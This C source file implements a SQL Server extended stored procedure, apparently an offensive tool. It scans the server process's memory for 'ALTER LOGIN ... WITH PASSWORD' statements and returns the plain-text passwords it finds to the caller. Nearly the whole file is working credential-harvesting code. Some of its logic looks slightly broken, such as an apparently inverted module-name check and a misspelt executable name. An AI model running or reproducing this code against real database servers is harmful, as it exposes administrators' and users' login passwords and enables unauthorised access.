// xp_findpwdalts.h
// ----------------
// Extended stored procedure for going through memory in search of ALTER LOGIN
// statements with plain-text passwords.

#include "xp_findpwdalts.h"

// Versioning export
__declspec(dllexport) ULONG __GetXpVersion()
{
   return ODS_VERSION;
}

// Horemheb extended stored procedure
__declspec(dllexport) SRVRETCODE xp_findpwdalts(SRV_PROC *srvproc)
{
	DWORD						dwProcID = 0;
	HANDLE						hProcHandle = NULL;
	BYTE*						bpBuffer;
	DWORD						dwReturnLength = 0;
	MEMORY_BASIC_INFORMATION	mbi;
	DWORD						dwStartAddress = 0;
	DWORD						dwEndAddress = 0;
	DWORD						dwCounter = 0;
	DWORD						dwSubCounter = 0;
	DWORD						dwReturnVal = 0;
	BYTE						baSeq_1[24] =	{	
								0x41, 0x00, 0x4c, 0x00, 0x54, 0x00, 0x45, 0x00,
								0x52, 0x00, 0x20, 0x00, 0x4c, 0x00, 0x4f, 0x00,
								0x47, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x20, 0x00
												};
	BYTE						baSeq_2[28] =	{
								0x20, 0x00, 0x57, 0x00, 0x49, 0x00, 0x54, 0x00,
								0x48, 0x00, 0x20, 0x00, 0x50, 0x00, 0x41, 0x00,
								0x53, 0x00, 0x53, 0x00, 0x57, 0x00, 0x4f, 0x00,
								0x52, 0x00, 0x44, 0x00
												};
	DWORD						dwPEBAddr = 0;
	DWORD						dwImageBaseAddress = 0;
	PEB_LDR_DATA*				pPLD = NULL;
	LIST_ENTRY*					pLE = NULL;
	LDR_DATA_TABLE_ENTRY*		pLDTE = NULL;

	wchar_t*					wcAlterStatement = NULL;
	TCHAR*						tcConvertedStatement = NULL; 

	__asm
	{
			mov eax, fs:[0x30];				// PEB
			mov dwPEBAddr, eax;				// Get the PEB Addr
			mov eax, [eax+0x0c];			// PEB->Ldr
			mov pPLD, eax;					// Get the PEB_LDR_DATA Addr
			mov ebx, [eax+0x14];			// PEB->Ldr.InMemoryOrderModuleList.Flink 
			mov eax, [ebx+0x10];			// PEB->Ldr.InMemoryOrderModuleList.Flink->DllBase
			mov dwImageBaseAddress, eax;	// Get the image base address
			mov eax, [ebx+0x20];			// PEB->Ldr.InMemoryOrderModuleList.Flink->SizeOfImage
	}

	pLE = &pPLD->InMemoryOrderModuleList;
	while(NULL != pLE->Flink)
	{
		pLDTE = (LDR_DATA_TABLE_ENTRY*)pLE->Flink;
		if(wcscmp(L"sqlserv.exe",pLDTE->FullDllName.Buffer))
			break;
		pLE = &pLDTE->InMemoryOrderLinks;
	}

	if(NULL == pLDTE || NULL == pLE)
	{
		// Failed to find the image... wtf?
		Sql_SendErr(srvproc,_T("Unable to locate image base."));
		return(XP_ERROR);
	}

	// Prepare the SQL return data
	if(SUCCEED != Sql_PrepRows(srvproc))
	{
		Sql_SendErr(srvproc,_T("Unable to prepare SQL return rows."));
		return(XP_ERROR);
	}

	// Get the handle of the current process (SQL)
	dwProcID = GetCurrentProcessId();
	hProcHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,true,dwProcID);
	if(NULL == hProcHandle)
	{
		Sql_SendMsg(srvproc,_T("Failure to get proc handle"));
		return(XP_ERROR);
	}

	// Read memory
	VirtualQueryEx(hProcHandle,(LPCVOID)dwImageBaseAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
	do
	{
		if((MEM_COMMIT == mbi.State) && (PAGE_READWRITE == mbi.Protect) && (MEM_PRIVATE == mbi.Type))
		{
			dwStartAddress = (unsigned)mbi.BaseAddress;
			dwEndAddress = (unsigned)mbi.BaseAddress+mbi.RegionSize;
			bpBuffer = new BYTE[dwEndAddress - dwStartAddress];
			if(TRUE == ReadProcessMemory(hProcHandle, (const void *)dwStartAddress, bpBuffer, (dwEndAddress - dwStartAddress), &dwReturnLength))
			{
				for(dwCounter = 0; dwCounter < (dwReturnLength - sizeof(baSeq_1)); dwCounter++)
				{
					// Search through memory looking for "ALTER LOGIN " statement
					if(memcmp(&bpBuffer[dwCounter],baSeq_1,sizeof(baSeq_1)) == 0)
					{
						// Found the statement, ensure " WITH PASSWORD" is present
						for(dwSubCounter = dwCounter; dwSubCounter < (dwReturnLength - sizeof(baSeq_2)); dwSubCounter++)
						{
							// Make sure we don't read outside the available memory
							if((dwSubCounter + sizeof(baSeq_2)) < dwReturnLength)
							{
								if(memcmp(&bpBuffer[dwSubCounter],baSeq_2,sizeof(baSeq_2)) == 0)
								{
									// Statement found.  The assumtion that it's a NULL terminated UNICODE string in memory has proven to be false,
									// so reset the dwSubCounter one last time and find the termination character " ' " for the password variable.
									// In all instances of this specific password ALTER statement the SQL query appears as:
									// ALTER LOGIN [user] WITH PASSWORD=N'password'
									// Also perform simple check to see if the password contains a single tick (') to ensure the complete statement
									// is copied out of memory.  Passwords, like any other statement escapes a single tick by doubling it up in the
									// statement, e.g.: ALTER LOGIN [user] WITH PASSWORD=N'This''has''ticks'
									// Allocate a wchar_t buffer for the statement string, wcslen should stop after the first \x00\x00 is hit.
									for(dwSubCounter += sizeof(baSeq_2); dwSubCounter < (dwReturnLength - 4); dwSubCounter++)
									{
										if(0 == memcmp(&bpBuffer[dwSubCounter],"\x27\x00",2))
										{
											if((0 != memcmp(&bpBuffer[dwSubCounter - 2],"\x4e\x00",2)) &&
												(0 != memcmp(&bpBuffer[dwSubCounter - 2],"\x27\x00",2)) &&
												 (0 != memcmp(&bpBuffer[dwSubCounter + 2],"\x27\x00",2)) &&
												  (0 != memcmp(&bpBuffer[dwSubCounter - 4],"\x27\x00",2)))
											{
												// Found the termination
												wcAlterStatement = new wchar_t[((dwSubCounter - dwCounter + 1) / sizeof(wchar_t)) + 1];
												memset(wcAlterStatement,0,(dwSubCounter - dwCounter + 1) + 2);
												// Copy the string into the buffer
												//wcscpy(wcAlterStatement,(const wchar_t*)&bpBuffer[dwCounter]);
												memcpy(wcAlterStatement,&bpBuffer[dwCounter],(dwSubCounter - dwCounter) + 1);

												// Check the format of the internal character encodings for possible conversion
												tcConvertedStatement = new TCHAR[wcslen(wcAlterStatement) + 1];
												memset(tcConvertedStatement,0,(sizeof(TCHAR) * (wcslen(wcAlterStatement) + 1)));
												if(2 != sizeof(TCHAR))
													wcstombs_s((size_t*)&dwReturnVal,(char*)*tcConvertedStatement,wcslen((wchar_t*)wcAlterStatement) + 1,wcAlterStatement,wcslen(wcAlterStatement));
												else
													wcscpy((wchar_t*)tcConvertedStatement,wcAlterStatement);

												// Queue the statement as a SQL return row
												Sql_SendRow(srvproc,tcConvertedStatement);

												// Free the strings
												delete [] wcAlterStatement;
												delete [] tcConvertedStatement;
												break;
											}
										}
									}
									break;
								}
							}
							else
								break;
						}
					}
				}
			}
			delete [] bpBuffer;
		}
		dwImageBaseAddress += mbi.RegionSize;
	}
	while(VirtualQueryEx(hProcHandle,(LPCVOID)dwImageBaseAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)));

	// Close the process handle
	CloseHandle(hProcHandle);

	// All done, send back any results that were gathered
	if(SUCCEED != Sql_RowsDone(srvproc))
	{
		Sql_SendErr(srvproc,_T("Unable to return SQL rows."));
		return(XP_ERROR);
	}

	return(XP_NOERROR);
}


// Send a SQL msg (non-error) - this always returns XP_NOERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,(DBTINYINT)0,(DBTINYINT)0,(wchar_t*)tczMsg,wcslen(tczMsg));
#else
	#ifndef SKHSUPPRESS_TXT
	iResult = srv_sendmsg(srvproc, SRV_MSG_INFO, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczMsg,strlen((char*)tczMsg));
	#endif
#endif
	
	return(iResult);
}

// Send a SQL msg (error) - this always returns XP_ERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczErr)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,0,SRV_MSG_ERROR,(wchar_t*)tczErr,wcslen((wchar_t*)tczErr));
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_ERROR, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczErr,strlen((char*)tczErr));
#endif

	return(iResult);
}

// Prepare the columns for returned data
SRVRETCODE Sql_PrepRows(SRV_PROC *srvproc)
{

#ifdef UNICODE
	if(!srv_describe(srvproc,1,NULL,0,SRVNVARCHAR,RESULTS_MAX_COL_SIZE,SRVNVARCHAR,0,NULL))
		return(FAIL);
#else
	if(!srv_describe(srvproc,1,NULL,0,SRVBIGVARCHAR,RESULTS_MAX_COL_SIZE,SRVBIGVARCHAR,0,NULL))
		return(FAIL);
#endif

	return(SUCCEED);
}

// Send a row of data back to the client
SRVRETCODE Sql_SendRow(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	// Set the column data length
	if(FAIL == srv_setcollen(srvproc,1,(_tcslen(tczMsg) * sizeof(TCHAR))))
		return(FAIL);
	// Set the column data
	if(FAIL == srv_setcoldata(srvproc,1,tczMsg))
		return(FAIL);
	// Send the data
	if(FAIL == srv_sendrow(srvproc))
		return(FAIL);
	
	// Increment the row counter
	dwTOTALROWS++;

	return(SUCCEED);
}

// Close out the result set(s)
SRVRETCODE Sql_RowsDone(SRV_PROC *srvproc)
{
	// Determine if row count should be provided
	if(0 <= dwTOTALROWS)
		srv_senddone(srvproc, SRV_DONE_COUNT, 0, dwTOTALROWS);
	else
		srv_senddone(srvproc, SRV_DONE_ERROR, 0, 0);

	return(SUCCEED);
}